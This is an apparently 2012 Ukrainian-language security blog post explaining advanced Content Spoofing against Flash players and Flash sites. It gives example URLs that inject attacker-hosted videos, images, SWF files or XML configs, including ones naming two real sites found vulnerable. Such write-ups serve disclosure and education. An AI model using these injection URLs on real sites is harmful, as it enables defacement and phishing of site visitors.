Content Spoofing атаки: Content Injection та Site Injection
23:55 31.10.2012Пропоную вам другу статтю на тему Content Spoofing атак, в якій розповім про просунутий Content Spoofing (Advanced Content Spoofing). Якщо в першій статті про Content Spoofing атаки, я навів два простих різновиди CS атак - Link Injection та Text Injection, то зараз я розповім про просунутий CS. Це повна заміна контенту.
Якщо у Link Injection та Text Injection уразливостях відбувалася часткова підміна вмісту, то в у випадку даних уразливостей має місце повна заміна контенту. Просунутий Content Spoofing можна розділити на два різновиди: Content Injection (включення різного медійного контенту) і Site Injection (включення цілого сайта).
Зазначу, що Content Injection атаки можливі як при включенні до html сторінок (якщо веб додаток дозволяє включення зображень чи інших медійних файлів з інших сайтів), так і до флеш файлів. А Site Injection атаки насамперед можливі при включенні до флеш файлів. Всі приклади я наведу стосовно атак на flash додатки.
Content Injection.
Content Injection атаки передбачають включення різного медійного вмісту з зовнішнього сайта. Такого як зображення, відео, аудіо, флеш. Окрім цього можливе включення лінків або тексту. Але якщо у попередніх різновидах CS це був основний напрямок атаки, то у випадку комплексної атаки, включення лінків і тексту - це лише додатковий елемент для більш повного контролю над вмістом. Атака призводить до заміни контенту в рамках окремого елементу сайта (наприклад, флеш відео плеєра).
Хорошим прикладом Content Injection є уразливості у флеш відео плеєрах, про які я писав за останні два роки. Таких плеєрів як FLV Player, flvPlayer, JW Player і JW Player Pro. Зокрема лише одних флешек JW Player, за інформацією Google, в Інтернеті існує близько 7,7 мільйонів.
Підміна вмісту плеєра в FLV Player:
http://site/player_flv.swf?flv=http://attacker/1.flv&startimage=http://attacker/1.jpg
Через всі ці плеєри можна проводити підміну окремих параметрів, так і комплексну атаку для підміни одразу багатьох параметрів. Щоб повністю контролювати вміст флеш відео плеєру. В FLV Player підтримується файл конфігурації в форматах xml і txt, а в flvPlayer, JW Player, JW Player Pro в форматі xml. А також деякі плеєри підтримують файли плейлістів та скіни (FLV Player підтримує jpg-скіни, а обидві версії JW Player підтримують swf-скіни).
Для обох версій JW Player підміна вмісту через файл конфігурації буде виглядати наступним чином:
http://site/jwplayer.swf?config=http://attacker_site/1.xml
Вміст файлу 1.xml:
<config>
<file>1.flv</file>
<image>1.jpg</image>
</config>
Site Injection.
Site Injection - це включення цілого сайта в інший сайт. Дана атака призводить до повної заміни контенту сайта (до його повного дефейсу). Вона відбувається через підміну файла конфігурації флешки (в форматі xml), подібно до вищеописаних атак на флеш відео плеєри. В даному випадку відбувається повний контроль не лише над плеєром, а над цілим сайтом (зокрема флеш сайтом).
Можливі два варіанта атаки:
1. Коли можна вказати флешку для включення з зовнішнього сайта (тобто file.swf виступає контейнером, в який завантажується основний вміст флеш-сайта):
http://site/file.swf?content=http://attacker/1.swf
Прикладом такої уразливості є Remote Flash Inclusion на www.banner.kiev.ua знайдена мною 26.04.2009.
2. Коли можна вказати файл конфігурації з зовнішнього сайта:
http://site/file.swf?config=http://attacker/1.xml
Приклад такої уразливості я знайшов 26.01.2011 на сайті ionsky.com.sg. Для атаки потрібно створити xml-файл конфігурації подібний до http://ionsky.com.sg/xml/site.xml.
http://ionsky.com.sg/main.swf?siteXML=http://attacker/1.xml
В файлі конфігурації можна вказати адреси всіх необхідних ресурсів (swf, музика, зображення і текст), що будуть міститися на сайті нападника (деякі ресурси можна взяти навіть з основного сайта). І таким чином повністю підмінити контент сайта.
Дані Content Spoofing уразливості можуть використовуватися для фішинга та інших атак. В деяких випадках можливі XSS атаки.